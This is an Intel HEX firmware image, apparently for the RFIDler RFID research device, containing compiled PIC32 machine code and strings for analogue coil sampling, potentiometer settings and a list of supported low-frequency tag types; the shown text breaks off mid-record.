:1017cc000f004014000000007000c28f0400401095\n:1017dc0000000000211000008146410b00000000b9\n:1017ec00059d023cbc504424059d023cc050452440\n:1017fc000413410f000000000c46410b00000000d8\n:10180c000c46410b000000002b15410f000000009e\n:10181c000400401000000000211000008146410b24\n:10182c0000000000e5d4400f00000000f6ff40105f\n:10183c00000000007000c28f09004014000000007e\n:10184c00059d023cbc504424059d023cd0504524cf\n:10185c000413410f000000002746410b000000005c\n:10186c002746410b000000002b15410f0000000023\n:10187c0004004014000000007000c28f04004010ef\n:10188c0000000000211000008146410b0000000008\n:10189c00801b400f00000000f3ff40100000000010\n:1018ac007000c28f1500401400000000fbd4400fe4\n:1018bc0000000000059d033ce050642421284000fa\n:1018cc006913410f00000000f2d4400f000000002b\n:1018dc00059d033c08516424212840006913410fe5\n:1018ec0000000000059d023cbc504424059d023cb8\n:1018fc001c5145240413410f000000003f0002243a\n:10190c001400c2a31400c3932800c227059d043cf5\n:10191c00305184242128600021304000345e400f77\n:10192c0000000000330040140000000001000224fd\n:10193c001000c2af7000c28f030040100000000006\n:10194c008046410b000000001800c22721204000f7\n:10195c00212800000d0006247152410f00000000e8\n:10196c001800c3272800c22721206000212840002e\n:10197c000c000624214b410f000000001800c22768\n:10198c00059d033c34516424212840000413410f6d\n:10199c00000000003500c2931000423009004010d6\n:1019ac0000000000059d023c38514424059d023c7a\n:1019bc00405145240413410f000000007a46410bae\n:1019cc00000000003800c28f059d033c4851642480\n:1019dc00212840006913410f000000002800c22795\n:1019ec0021204000755f400f00000000cfff401029\n:1019fc00000000001000c28f21e8c0036c00bf8ff4\n:101a0c006800be8f7000bd270800e00300000000d6\n:020000040000fa\n:020000041d05d8\n:101a1c0000800b3cc2450400ff000831c255050094\n:101a2c00ff004a31003a04002538eb00004a05005b\n:101a3c0025482b012670850024586e01ffff0e25ca\n:101a4c00fe00c12d3f00201000000000ffff4e25be\n:101a5c00fe00c12d53002010000000002b08e900ef\n:101a6c000300201400000000423807000100082584\n:101a7c0082630900f40180011b00ec0012200000bd\n:101a8c0010300000ff3f2d311900a4011228000076\n:101a9c00803306002b70c5000400c0112330c50034\n:101aac00ffff84242130c9002b70c900f401800190\n:101abc001b00cc0012380000103000001900a701e8\n:101acc0012280000803306002b70c5000400c011e2\n:101adc002330c500ffffe7242130c9002b70c9005b\n:101aec00807304002138ee000200c010003907009a\n:101afc000100e7347e000e242370ca0121400e0140\n:101b0c00ffff0e25fe00c12d340020100000000048\n:101b1c008000e7248000ee2c21400e0102720700a9\n:101b2c000100ce312338ee0040380700423a07005e\n:101b3c00c07508002538ee002510eb000800e00306\n:101b4c000000000008000015000000002138e7002c\n:101b5c000500e010000000002060ec7023400c0138\n:101b6c00baff00100438870104004815000000007b\n:101b7c00217029012f00c01100000000ff0001247a\n:101b8c0008004111000000001200001100000000cc\n:101b9c002170e7002700c015000000002200001093\n:101bac000000000008004015000000002148290139\n:101bbc001d0020110000000020602c7123504c01ee\n:101bcc00a6ff001004488901217029011900c015d5\n:101bdc0000000000d9ff001025100b001200001da2\n:101bec000000000001000c24236088012000812dde\n:101bfc00f8ff20100000000020000e242370cc0100\n:101c0c000440c70102000011063887010200e734c6\n:101c1c00000008248000ee24bdffc1050000000078\n:101c2c00bbff001001000824807f013cc3ff0010a3\n:101c3c0025106101c1ff0010c0ff023c0000000034\n:020000040000fa\n:020000041d05d8\n:101c4c00524649446c65725f53616d706c657300ec\n:101c5c004465736372697074696f6e0052464944cf\n:101c6c006c657220416e616c6f67756520436f699e\n:101c7c006c2053616d706c657300000054616700db\n:101c8c005461672053657474696e677300000000bb\n:101c9c005461675f547970650000000054616720df\n:101cac00547970650000000044617461000000000c\n:101cbc004d6f64756c6174696f6e00004d6f647567\n:101ccc006c6174696f6e20536368656d650000000c\n:101cdc00446174615f526174650000004461746119\n:101cec00205261746520284672616d6520436c6fcb\n:101cfc00636b73290000000025640000506f74733f\n:101d0c0000000000506f74656e74696f6d657465ca\n:101d1c00722053657474696e677320284465636917\n:101d2c006d616c2900000000506f745f4869676832\n:101d3c0000000000506f74656e74696f6d6574659a\n:101d4c007220486967682053657474696e67000077\n:101d5c00506f745f4c6f7700506f74656e74696f61\n:101d6c006d65746572204c6f772053657474696e61\n:101d7c006700000053616d706c65730054696d658c\n:101d8c002042617365642053616d706c65204172f3\n:101d9c007261797300000000436f696c5f44617479\n:101dac0061000000416e616c6f677565204369725c\n:101dbc0063756974205261772044617461202848ee\n:101dcc00455829005265616465725f4f7574707572\n:101ddc0074000000416e616c6f6775652043697219\n:101dec0063756974204469676974616c205265611c\n:101dfc00646572204f757470757420284849474883\n:101e0c002f4c4f57290000004269745f506572696e\n:101e1c006f6400004d6f64756c6174696f6e205354\n:101e2c006368656d652042697420506572696f64e2\n:101e3c0020285449434b532900000000257300000f\n:101e4c000d0a000025643a200000000025640d0aec\n:101e5c00000000000050c3470000803f20bcbe4c77\n:081e6c0000007a4400761348df\n:020000040000fa\n:020000041d05d8\n:101e7400d8ffbd272400bfaf2000b3af1c00b2af12\n:101e84001800b1af1400b0af450080042180800079\n:101e94006e0082280f0040100b0082286f00401053\n:101ea4006666023c80800400059d023c6058422422\n:101eb400218002020000028e2400bf8f2000b38f15\n:101ec4001c00b28f1800b18f1400b08f0800e0031b\n:101ed4002800bd27eb51033c1f85633418008300a1\n:101ee40010180000c39704006666133c67667326e7\n:101ef400059d113c605831264c00248e4319030083\n:101f040023187200801003000019030021104300fd\n:101f14008018020021104300231002022014027cc6\n:101f24001800530010180000c317020083180300a0\n:101f3400231062002014027c090042248010020055\n:101f440021105100a948410f0000458c18001302cc\n:101f540010980000212040008398130023907202ff\n:101f640040101200c09012002190520023801202ef\n:101f74002084107c8080100021881102a948410f20\n:101f84000000258e2400bf8f2000b38f1c00b28f69\n:101f94001800b18f1400b08f0800e0032800bd279b\n:101fa400238004002084107c6e00022a210040104b\n:101fb4000b00022a30004054808010006666023c08\n:101fc400676642241800020210100000c3271000a4\n:101fd400059d033c9458632483100200231044009d\n:101fe40040280200c02002002120a4002014027c0a\n:101ff40023800402090042242084107c8010020003\n:102004008080100021104300211803020000448c3a\n:10201400a948410f0000658c2400bf8f2000b38fb6\n:102024001c00b28f1800b18f1400b08f0800e003b9\n:102034002800bd27eb51033c1f85633418000302bd\n:1020440010180000c39710006666133c6766732679\n:10205400059d113cbf47410b9458312667664224c5\n:102064001800820010100000c3270400059d033ce3\n:10207400f747410b60586324059d023c9458422461\n:0c20840021800202af47410b0000028ed9\n:020000040000fa\n:020000041d05d8\n:102090002518850045006010211000000100022471\n:1020a00044008210c23f0500ffff0224620082103c\n:1020b0000a00022464008210f6ff022457008210f6\n:1020c000ffff02240800e010401905003f008010c7\n:1020d0000080023c232004002b100400232805006c\n:1020e0002328a20040190500c21604002510620032\n:1020f000c21e050025104300380040148019050059\n:102100008216040025106200821e05002518430077\n:10211000510060141a000224c21f04004028050068\n:10212000252865004020040080310500821e04003f\n:102130002518c3008236050025186600f6ff6010da\n:10214000ffff42247f0043244900605882ff03249c\n:10215000070082300a004010ff006228c000857c22\n:102160000300842421208500c216040004004010ce\n:10217000ff0062284220040001006324ff0062285f\n:1021800037004010c2200400c005827c020040508d\n:102190002118000000b0847c0012070025106200a6\n:1021a000c01502000800e003251044000800e00309\n:1021b00000000000bdffa054ffff02240012070032\n:1021c0007f0042340800e003c0150200c2ffa214e1\n:1021d00023200400212000000080053c1a00022476\n:1021e000c0370500421804002518c30001008430e0\n:1021f000422805002520830040310500c21e04004e\n:102200002518c300c236050025186600f4ff6014c7\n:10221000010042245248410b7f004324a9ffa2142d\n:102220000012070082004234c01502002000033c67\n:102230000800e003251043009effa4540a00022476\n:102240007048410b001207009cffa054f6ff0224c7\n:102250008948410b001207005448410b99000324a0\n:1022600000120700ff0042340800e003c01502001e\n:10227000231862001b0065280800a05021200000e0\n:102280009e00422404104400062064002b1002002b\n:10229000252044005448410b010003246648410bab\n:0422a0002118000001\n:020000040000fa\n:020000041d05d8\n:1022a400c23d0400ff00e730c24d0500ff002931a4\n:1022b40000800a3c003204002530ca0000420500b8\n:1022c40025400a012660850024504c01ffffec24c0\n:1022d400fe00812d2100201000000000ffff2c25ae\n:1022e400fe00812d36002010000000001900c800f7\n:1022f4001258000002006011103000000100c634c2\n:102304000300c0040000000040300600ffffe72483\n:1023140082ff2c252138ec00ffffec24fe00812de8\n:102324003a002010000000008000c6248000cc2c5d\n:102334002138ec000262060001008c312330cc000d\n:102344004030060042320600c06507002530cc004c\n:102354002510ca000800e003000000000d00e0148e\n:10236400000000002130c6000500c010000000007d\n:102374002058cb702338eb00d8ff001004306601de\n:10238400ff0001241f0021110000000015000010af\n:10239400000000002160c6001a0080150000000043\n:1023a40004002015000000002160080115008011c0\n:1023b40000000000ff0001240f00211500000000b0\n:1023c4000a0020150000000021400801050000114a\n:1023d4000000000020580b7123482b01c3ff00109c\n:1023e40004406801dbff001025100a002160080189\n:1023f4000400801500000000807f013cd5ff001020\n:1024040025104101d3ff0010c0ff023cfaffe01c7d\n:102414000000000001000b24235867012000612df7\n:10242400f0ff20100000000020000c2423608b012a\n:10243400043886010200e010063066010200c6344a\n:10244400000007248000cc24b7ff810500000000b1\n:0c245400b5ff001001000724000000008c\n:020000040000fa\n:020000041d05d8\n:10246000e0ffbd271c00bfaf1800beaf21f0a003e6\n:102470002000c4af2400c5af2800c6af1000c0a321\n:102480001100c0a37949410b0000000000a0023cec\n:10249000dc56422487004290f9ff42240c00432c72\n:1024a000460060100000000080180200059d023cfc\n:1024b000c4244224211062000000428c0800400025\n:1024c000000000001c25059d4025059dbc25059d9f\n:1024d0006425059dbc25059dbc25059dbc25059d48\n:1024e000bc25059dbc25059d9025059dbc25059d0c\n:1024f000f424059d2000c28fff00423021204000bf\n:102500002400c58f2800c68f6bde400f000000003e\n:102510001000c2a37049410b000000002000c28fd0\n:10252000ff004230212040002400c58fa1ab400fa6\n:10253000000000001000c2a37049410b0000000021\n:102540002000c28fff004230212040002400c58fb0\n:1025500022b1400f000000001000c2a37049410bdf\n:10256000000000002000c28fff0042302120400008\n:102570002400c58f213000002800c78f74cf400f82\n:10258000000000001000c2a37049410b00000000d1\n:102590002000c28fff004230212040002400c58f60\n:1025a000213000002800c78f15e3400f0000000015\n:1025b0001000c2a37049410b0000000000000000a1\n:1025c0001000c2930400401000000000010002242b\n:1025d0007e49410b000000001100c293010042241b\n:1025e0001100c2a31100c2930500422ca7ff4014a2\n:1025f000000000002110000021e8c0031c00bf8f74\n:102600001800be8f2000bd270800e0030000000076\n:020000040000fa\n:020000041d05d8\n:10261000e0ffbd271c00bfaf1800b2af1400b1af80\n:102620001000b0af0055a77cffffe2240098a87c03\n:10263000fe07492c2188c000c287050021108000b8\n:10264000410020112118000101fce7241000043c86\n:10265000251804012138f100422f0200c0180300a0\n:10266000ff03e4242518a30025008018c0100200f1\n:10267000070045301500a014c000457c403703001a\n:10268000c2100200ff0785282510c2003600a010e6\n:10269000c21803000005657c0200a0502120000044\n:1026a0000098637cc0821000252090000025040063\n:1026b000251883001c00bf8f1800b28f1400b18f43\n:1026c0001000b08f0800e0032000bd270300a52400\n:1026d000212845002b10a200211843000006667c2b\n:1026e000e6ffc0102110a000c02f0300421002001e\n:1026f0002510a200421803009f49410b01008424c9\n:1027000002fc06242330c7003800c4281b00805078\n:102710002110000023200600200085300300a014b3\n:102720000488820004208300258882002120400044\n:102730000858410f212860002b8811002510220223\n:102740009c49410b010004240500e0542110800045\n:10275000253004010c00c01400000000211080008e\n:10276000ad49410b2118a000c01a1000ff076334c7\n:10277000001d0300ad49410b21100000211800008d\n:10278000a949410b2120000003000015209012717f\n:102790002090927020005226f5ff4626adffc01013\n:1027a00002fc07241858410f212800010dfc0724c2\n:0827b0009549410b2338f200aa\n:020000040000fa\n:020000041d05d8\n:1027b800e0ffbd271c00bfaf1800b2af1400b1afd7\n:1027c8001000b0af6e00822c2f00401021808000d6\n:1027d8000b00822c0e004010059d023c80800400f6\n:1027e80094584224218002020000048e059d023c78\n:1027f800a948410f6044458c1c00bf8f1800b28f58\n:102808001400b18f1000b08f0800e0032000bd272e\n:10281800cccc113ccdcc3136190091001088000089\n:10282800059d123c94585226059d023c6044458cf7\n:10283800c2881100090022268010020021105200cf\n:10284800a948410f0000448c40181100c0881100ad\n:102858002188710023801102ff001032808010004f\n:10286800219012020000458ea948410f2120400006\n:102878001c00bf8f1800b28f1400b18f1000b08fea\n:102888000800e0032000bd27eb51123c1f8552369b\n:102898001900920010900000059d113c94583126b3\n:1028a800059d023c6044458c42911200120042266c\n:1028b8008010020021105100a948410f0000448ceb\n:1028c80080181200009112002190720080181200e6\n:1028d8002118430223180302cccc123ccdcc52362b\n:1028e800ff0063301900720010180000212040001a\n:1028f800c21803000900632480180300211871001e\n:10290800a948410f0000658c1900120210900000c0\n:1029180021204000c290120040101200c090120006\n:102928002190520023801202ff0010328080100094\n:1029380021881102a948410f0000258e1c00bf8f75\n:102948001800b28f1400b18f1000b08f0800e00398\n:042958002000bd2777\n:020000040000fa\n:020000041d05d8\n:10295c002540850003000831030000112110800080\n:10296c00380000100000aa900000aa8c0101093c5c\n:10297c0001012935c07909002340490124400f0188\n:10298c000700001124600a010500881100000000f6\n:10299c000000a5240000aa902a0000100000842446\n:1029ac000400ab8c00008aac2340690124400f0169\n:1029bc000700001124600b010500881100000000c5\n:1029cc000400a5240000aa901e000010040084241a\n:1029dc000800aa8c04008bac2340490124400f0151\n:1029ec000700001124600a01050088110000000096\n:1029fc000800a5240000aa901200001008008424ee\n:102a0c000c00ab8c08008aac2340690124400f01f8\n:102a1c000700001124600b01050088110000000064\n:102a2c000c00a5240000aa90060000100c008424c1\n:102a3c001000aa8c0c008bac10008424ceff00106c\n:102a4c001000a5240300401500008aa00800e00334\n:102a5c00000000000100ab900300601501008ba08a\n:102a6c000800e003000000000200aa9003004015db\n:102a7c0002008aa00800e003000000000300ab90f5\n:102a8c000300601503008ba00800e00300000000a9\n:102a9c000400aa900300401504008aa00800e0037b\n:102aac00000000000500ab900300601505008ba032\n:102abc000800e003000000000600aa900300401587\n:102acc0006008aa00800e003000000000700ab909d\n:102adc000300601507008ba00800e0030000000055\n:102aec000800aa9008008424d6ff00100800a52432\n:020000040000fa\n:020000041d05d8\n:102afc00d0ffbd272c00bfaf2800b4af2400b3af6c\n:102b0c002000b2af1c00b1af1800b0af218880001c\n:102b1c000c008294010042304a004010040080ac4a\n:102b2c0000a0143cc8718282140040501000268e04\n:102b3c0000a0103ca870102600a0133c487173260e\n:102b4c00d74a410b020112240b001352c87180a208\n:102b5c000c00029602014230fbff52541400102666\n:102b6c009353410f2120000214001026f9ff135635\n:102b7c000c000296c87180a21000268e1600c010a0\n:102b8c000e002496d54b410f0800258e2f004010c7\n:102b9c00040022aeffff0324340043500c002296a5\n:102bac000800238effff4224040022ae01006224a1\n:102bbc00000022ae000062902c00bf8f2800b48f62\n:102bcc002400b38f2000b28f1c00b18f1800b08f7f\n:102bdc000800e0033000bd27040020ae1000a5273c\n:102bec00d54b410f01000624010003240c004310b7\n:102bfc00ffff02240c002396100063340c0023a664\n:102c0c002c00bf8f2800b48f2400b38f2000b28f0c\n:102c1c001c00b18f1800b08f0800e0033000bd27f6\n:102c2c001000a2932c00bf8f2800b48f2400b38f08\n:102c3c002000b28f1c00b18f1800b08f0800e00389\n:102c4c003000bd27f14a410bffff02240c002296f5\n:102c5c00100042340c0022a60800238e040020ae83\n:102c6c00ffff0224f14a410b000023ae3000423436\n:082c7c00194b410b0c0022a6cc\n:020000040000fa\n:020000041d05d8\n:102c8400211080005600c0100c00ca2c4d004015c5\n:102c94002618a400030063302338040029006010c0\n:102ca4000300e7300600e0102330c7000000a398bb\n:102cb4000300a3882128a700000083b821208700ef\n:102cc4000f00c3302338c3001100e010213060002e\n:102cd4002138e5000000a3980300a3880400a89805\n:102ce4000700a8880800a9980b00a9880c00aa98d6\n:102cf4000f00aa88000083ac040088ac080089aceb\n:102d04001000a52410008424f2ffa714fcff8aac51\n:102d14000300c3302338c3002a00e01021306000d0\n:102d24002138e5000000a3980300a3880400a5242b\n:102d340004008424fbffa714fcff83ac21000010d3\n:102d4400000000000500e0102330c7000000a39835\n:102d54002128a700000083b8212087000f00c3307a\n:102d64002338c3000d00e010213060002138e50055\n:102d74000000a38c0400a88c0800a98c0c00aa8c69\n:102d8400000083ac040088ac080089ac1000a524c2\n:102d940010008424f6ffa714fcff8aac0300c330a0\n:102da4002338c3000700e010213060002138e5001b\n:102db4000000a38c0400a52404008424fcffa714b1\n:102dc400fcff83ac0600c0102138c5000000a390ae\n:102dd4000100a52401008424fcffa714ffff83a0a5\n:102de4000800e0030000000000008a902110800029\n:102df40003004015000000000800e0030000022466\n:102e040001008a9003004015000000000800e00360\n:102e14000100022402008a90030040150000000013\n:102e24000800e0030200022403008a900300401516\n:102e3400822004000800e00303000224010084242b\n:102e44008020040000008a8c0101093c010129351d\n:102e5400c07909002340490124400f0106000011f4\n:102e640024600a01040088110000000000008a9018\n:102e7400220000100000842404008b8c234069018c\n:102e840024400f010600001124600b010400881186\n:102e94000000000004008a9018000010040084243c\n:102ea40008008a8c2340490124400f0106000011c8\n:102eb40024600a01040088110000000008008a90c0\n:102ec4000e000010080084240c008b8c2340690140\n:102ed40024400f010600001124600b010400881136\n:102ee400000000000c008a90040000100c008424f0\n:102ef40010008a8cd7ff00101000842404004015b1\n:102f040000000000000084240800e0032310820075\n:102f140001008a9004004015000000000100842490\n:102f24000800e0032310820002008a900400401588\n:102f340000000000020084240800e0032310820043\n:102f440003008a90030084240800e0032310820015\n:020000040000fa\n:020000041d05d8\n:102f5400e0ffbd271c00bfaf1800b2af1400b1af33\n:102f64001000b0af1700a0102180a0002190c00075\n:102f74000e00c010211000000c008014211040022b\n:102f84000000023c00004224150040102188c000cb\n:102f9400010004240000000c01001026ffff31266c\n:102fa400fbff2016ffff02a2211040021c00bf8f6e\n:102fb4001800b28f1400b18f1000b08f0800e00326\n:102fc4002000bd27211000001c00bf8f1800b28f05\n:102fd4001400b18f1000b08f0800e0032000bd275b\n:102fe40000a0023c3800438c020002242500621039\n:102ff40080bf023c80bf023c0060428c80bf063c24\n:103004003060c62480bf053c1060a5240080423097\n:1030140005004014211040020080033480bf023cac\n:10302400086043ac211040020000a38c010063300f\n:1030340009006014a0000324134c410b000000009d\n:1030440005006010000000000000a48c0100843022\n:10305400fbff8010ffff63240000a38c010063309a\n:10306400d2ff6054231042020000c38c01001026da\n:10307400ffff4224ecff4014ffff03a2ec4b410b83\n:103084002310420240684224daff401080bf023c11\n:103094000068428c80bf063c3068c62480bf053c73\n:0830a400044c410b1068a52447\n:020000040000fa\n:020000041d05d8\n:1030ac000f0000008200000026020000ee0200006b\n:1030bc009600000090010000c800000058020000bb\n:1030cc00200000000d0a6f666673657420706173d2\n:1030dc0074207a65726f2070756c7365732025642b\n:1030ec00000000000d0a4261727269657220282589\n:1030fc0064292000286261642070756c73652063fc\n:10310c006f756e742025642920000000312028671b\n:10311c0061702025642920003020286761702025eb\n:10312c00642920002862616420676170202564296d\n:10313c002000000020307825303278000d0a312034\n:10314c004761703a2025642c200000000d0a3020c5\n:10315c004761703a2025642c200000000d0a3f3f87\n:10316c003f204761703a2025642c2000426974206e\n:10317c0050756c73653a20256400000042617272d0\n:10318c006965722050756c73653a202564000000e7\n:10319c003f3f3f2050756c73653a2025640000005a\n:1031ac00257300000d0a00004d657373616765207f\n:1031bc00636865636b696e672c2063616c63756c07\n:1031cc006174656420636865636b73756d3a203058\n:1031dc007825780d0a0000002025303258000000b8\n:1031ec00200000002020202025730d0a0000000084\n:020000040000fa\n:020000041d05d8\n:1031fc00e0ffbd271c00bfaf1800b1af1400b0af8b\n:10320c000c00a29402004330480060102180a00002\n:10321c00000243301c0060100400a38c00024534f3\n:10322c000c0005a61c006010ff0091300a0004245d\n:10323c001f002412800042301000028e36006210f3\n:10324c00010063240000028e01004424000004ae3f\n:10325c00040003ae000051a00100032400a0023cb6\n:10326c00c87143a00a000224180022520c000396d5\n:10327c00211020021c00bf8f1800b18f1400b08fda\n:10328c000800e0032000bd2728006014000245342c\n:10329c000c0005a6ff0091300800048e000004ae5f\n:1032ac000a000424e5ff24561000028e80004230f0\n:1032bc00e2ff40541000028e0d0004247f4c410f9d\n:1032cc0021280002914c410b0400038e0001633055\n:1032dc00e8ff60100a0002240e0004960800058e18\n:1032ec00e253410f0400068e0400038e0600435087\n:1032fc000800038e0c000296ffff112430004234ac\n:10330c000c0002a60800038e040000ae211020025f\n:10331c00a04c410b000003ae2024117c094e410f40\n:10332c0021280002a14c410b1c00bf8fa04c410b6b\n:04333c00ffff022469\n:020000040000fa\n:020000041d05d8\n:10334000f0ffbd270c00beaf21f0a0030200c0a714\n:10335000164d410b000000000400c0a70200c297f8\n:10336000060040140000000089bf023c0093428c1c\n:103370000000c2a7ed4c410b000000000200c39703\n:1033800004000224060062140000000089bf023c11\n:103390001093428c0000c2a7ed4c410b00000000ce\n:1033a00089bf023c2093428c0000c2a70e4d410b06\n:1033b000000000000e4d410b000000000000c2970d\n:1033c0000f0042300600c2a70600c2970a00422c36\n:1033d00006004010000000000600c29730004224a2\n:1033e0000600c2a7fe4c410b000000000600c29779\n:1033f000370042240600c2a70200c29701004324fe\n:103400000200c3a72118400000a0023c401803009e\n:1034100098724224211062000600c397020043a460\n:103420000000c297021102000000c2a70400c29768\n:10343000010042240400c2a70400c2970400422ce9\n:1034400005004010000000000200c2970c00422c52\n:10345000daff4014000000000200c2970c00422c6a\n:10346000bdff40140000000021e8c0030c00be8f27\n:0c3470001000bd270800e0030000000071\n:020000040000fa\n:020000041d05d8\n:10347c00d0ffbd272c00bfaf2800b5af2400b4afe0\n:10348c002000b3af1c00b2af1800b1af1400b0af46\n:10349c0080180400059d023ca8664224211062009d\n:1034ac00401904001c009324059d103cac4d1026c3\n:1034bc00218003022190a0000000518c2120600289\n:1034cc00212800002858410f21a8c0000800048eb4\n:1034dc000c00058e00800234040022aef857410f18\n:1034ec00008052361000048e1400058ee857410ff0\n:1034fc002000543226008012059d023c059d023ca2\n:10350c00e05f42240000048e09f840000400058ea0\n:10351c000080023c80004224241042020a00401029\n:10352c00000000001c0041068007427e1d00401078\n:10353c00059d023c059d023ca05f42241800048eb0\n:10354c0009f840001c00058e8458410f21206002b0\n:10355c0042a81500ffffb526300035ae2000228ea4\n:10356c0040000224140022ae000032ae2c00bf8fab\n:10357c002800b58f2400b48f2000b38f1c00b28fad\n:10358c001800b18f1400b08f0800e0033000bd2785\n:10359c00444d410ba05f4224e7ff8052059d023c45\n:0c35ac00059d023c524d410be05f4224a3\n:020000040000fa\n:020000041d05d8\n:1035b800c8ffbd273400bfaf3000b7af2c00b6af8f\n:1035c8002800b5af2400b4af2000b3af1c00b2afe1\n:1035d8001800b1af1400b0af21a0c0002188e000ee\n:1035e8002518e6000300633004006014010002247b\n:1035f8000d00c01421b08000211000003400bf8fde\n:103608003000b78f2c00b68f2800b58f2400b48ff8\n:103618002000b38f1c00b28f1800b18f1400b08f38\n:103628000800e0033800bd2721b8a00000f01224ec\n:1036380024909200ff0f95302120e00021284002bd\n:10364800214b410f2130a002001013242380750262\n:103658002b101402190040142128e0022120350201\n:103668002128e002214b410f21308002233014022f\n:103678001900c0142120b40221a00000b058410f45\n:10368800212040022180000021201202212830023e\n:103698003758410f00021026fcff13162120120292\n:1036a800d5ff801221a80000238075022b10140278\n:1036b800eaff40102190c0022128e00221203502b3\n:1036c800214b410f2130000223a0900221b0d002eb\n:1036d800a14d410b21b8f0022128d402214b410f02\n:0c36e80021202402a14d410b21a0000074\n:020000040000fa\n:020000041d05d8\n:1036f4000d0a0d0a20204869676820504f5420287d\n:1037040077697065722030292076616c75653a207e\n:10371400256400000d0a4869676820504f5420282a\n:103724007769706572203029207265616420666152\n:10373400696c656421202564000000000d0a2020c6\n:103744004c6f7720504f5420287769706572203170\n:10375400292076616c75653a202564000d0a4c6f4a\n:103764007720504f542028776970657220312920c2\n:1037740072656164206661696c656421202564005a\n:103784000d0a0d0a202048696768204e5620504fc4\n:1037940054202877697065722030292076616c7511\n:1037a40065202564000000000d0a48696768204e02\n:1037b4005620504f54202877697065722030292094\n:1037c40072656164206661696c656421202564000a\n:1037d4000d0a20204c6f77204e5620504f5420283d\n:1037e40077697065722031292076616c75652025b2\n:1037f400640d0a000d0a4c6f77204e5620504f542a\n:1038040020287769706572203129207265616420ef\n:103814006661696c6564212025640d0a000000005e\n:020000040000fa\n:020000041d05d8\n:10382400e8ffbd271400bfaf1000b0af2180a00097\n:103834000c00a294400043301c0060141800a4a3a0\n:10384400020043303d006050300042341000a38c2d\n:103854001b0060500e00a4940800a58c2d00a050fd\n:1038640000a0053c0400068ee253410f0e000496ae\n:103874000800028e1800a38301004424ffff0524de\n:10388400040005ae000004ae000043a01800a283ab\n:103894000a000324130043500c0003961400bf8f46\n:1038a4001000b08f0800e0031800bd272014047c2a\n:1038b4001400bf8f1000b08f0800e0031800bd276c\n:1038c4001800a527e253410f01000624040000aeae\n:1038d4001800a2831400bf8f1000b08f0800e0030b\n:1038e4001800bd2700016330edff60101400bf8f86\n:1038f4000e0004960800058ee253410f0400068e64\n:103904000800038e1800a283040000ae284e410b69\n:10391400000003aeec71a524200003240800423407\n:10392400080005ae000005ae100003ae040003aeaf\n:103934000c0002a61b4e410b200006240c00a2a47e\n:0c3944000400a0ac284e410bffff022441\n:020000040000fa\n:020000041d05d8\n:1039500025408500030008313d0000150101093ca8\n:1039600001012935c07909000000828c0000a38c78\n:10397000234049000400431024400f010000842428\n:10398000330000100000a52405000011246003018d\n:1039900003008811000000000800e003211000006f\n:1039a0000400828c0400a38c2340490004004310cf\n:1039b00024400f0104008424250000100400a524e5\n:1039c00005000011246003010300881100000000bd\n:1039d0000800e003211000000800828c0800a38c7e\n:1039e000234049000400431024400f0108008424b0\n:1039f000170000100800a524050000112460030131\n:103a000003008811000000000800e00321100000fe\n:103a10000c00828c0c00a38c23404900040043104e\n:103a200024400f010c008424090000100c00a52480\n:103a300010008424ccff00111000a5242460030191\n:103a4000caff88110000828c0800e00321100000ea\n:103a5000000088900000a990030000110100842458\n:103a6000fbff09110100a5240800e0032310090150\n:020000040000fa\n:020000041d05d8\n:103a70004e4f4e450000000041534b52415700004d\n:103a800046534b315241570046534b325241570037\n:103a900050534b315241570050534b325241570013\n:103aa00050534b335241570048495441473100006d\n:103ab0004849544147320000454d345830320000e7\n:103ac000513500004849443236000000494e444117\n:103ad0004c41363400000000494e44414c413232e2\n:103ae00034000000554e49515545000046445842a7\n:103af0000000000054353558370000004157494454\n:103b000032360000454d34583035000054414d41a7\n:103b1000474f5443484900004844580050415854c6\n:103b20004f4e00004e6f6e650000000041534b2f5a\n:103b30004f4f4b0046534b0050534b002573000032\n:103b40000d0a4b6e6f776e20544147207479706573\n:103b5000733a0d0a000000000d0a202025730000b2\n:103b60000d0a00000d0a202025733a2000000000f5\n:103b700030303030303030300000000034443439e0\n:0c3b80003442353200000000000000005c\n:020000040000fa\n:020000041d05d8\n:103b8c00e8ffbd271400bfaf1000b0afc559410fff\n:103b9c002180800088bf063c0030c78c0003e77c86\n:103bac000800e014004003360010042488bf033cd6\n:103bbc00083064ac0030c38c00086330fdff601427\n:103bcc000040033681bf103c00f403ae00480540b2\n:103bdc000048034023186500f000632cfcff6014c0\n:103bec0081bf033c99aa043c5566842410f464ac50\n:103bfc006655043caa99843410f464ac00800434f7\n:103c0c0081bf033c08f464ac00f4038e0080633085\n:103c1c00fdff60140040042481bf033c04f464ac39\n:103c2c001200e010001004240030c38c0003637ced\n:103c3c000600601488bf033c083064ac0030c38cb1\n:103c4c0000086330fdff6014000000002059410f94\n:103c5c002120400000f4028e003042301400bf8f4f\n:103c6c001000b08f0800e0031800bd2788bf033c8c\n:103c7c00043064ac2059410f2120400000f4028e26\n:103c8c00003042301400bf8f1000b08f0800e003ea\n:043c9c001800bd2728\n:020000040000fa\n:020000041d05d8\n:103ca000002020202020202020202828282828200c\n:103cb0002020202020202020202020202020202004\n:103cc0002080101010101010101010101010101074\n:103cd000100404040404040404040410101010105c\n:103ce0001010414141414141010101010101010126\n:103cf0000101010101010101010101011010101078\n:103d000010104242424242420202020202020202f7\n:103d1000020202020202020202020202101010104b\n:103d20002000000000000000000000000000000073\n:103d30000000000000000000000000000000000083\n:103d40000000000000000000000000000000000073\n:103d50000000000000000000000000000000000063\n:103d60000000000000000000000000000000000053\n:103d70000000000000000000000000000000000043\n:103d80000000000000000000000000000000000033\n:103d90000000000000000000000000000000000023\n:043da000000000001f\n:020000040000fa\n:020000041d05d8\n:103da400e0ffbd271c00bfaf1800b2af1400b1afd5\n:103db4001000b0af218080000c00839411006430a7\n:103dc400010002241c008214000262301800401416\n:103dd4000400028efffd63300c0003a61a001124b8\n:103de4000d0012241f004018ffff44240000028e1f\n:103df400040004ae01004424000004ae000042901c\n:103e040080006430050080141c00bf8f1c005150da\n:103e14000800028e110052500400028e1800b28f66\n:103e24001400b18f1000b08f0800e0032000bd27fc\n:103e3400e9ff4050fffd6330100063340c0003a61b\n:103e4400ffff02241c00bf8f1800b28f1400b18f33\n:103e54001000b08f0800e0032000bd27e3ff401ce2\n:103e6400ffff442440006230f3ff4014212000028d\n:103e7400bf4a410f00000000814f410b0c00039624\n:103e8400eeff4050100063340400048e0000028ee4\n:103e940001008424ffff4224040004ae8f4f410b31\n:043ea400000002ae6a\n:020000040000fa\n:020000041d05d8\n:103ea800c03d867cffffc824fe00082dc24f0400d9\n:103eb8002b00001100b0877c81ffc6248000023ce3\n:103ec8002510e2002130c5007f00c32418006018c7\n:103ed800c0100200070044300d008014c000447c6c\n:103ee800ff00642824008010c2100200c005447c32\n:103ef8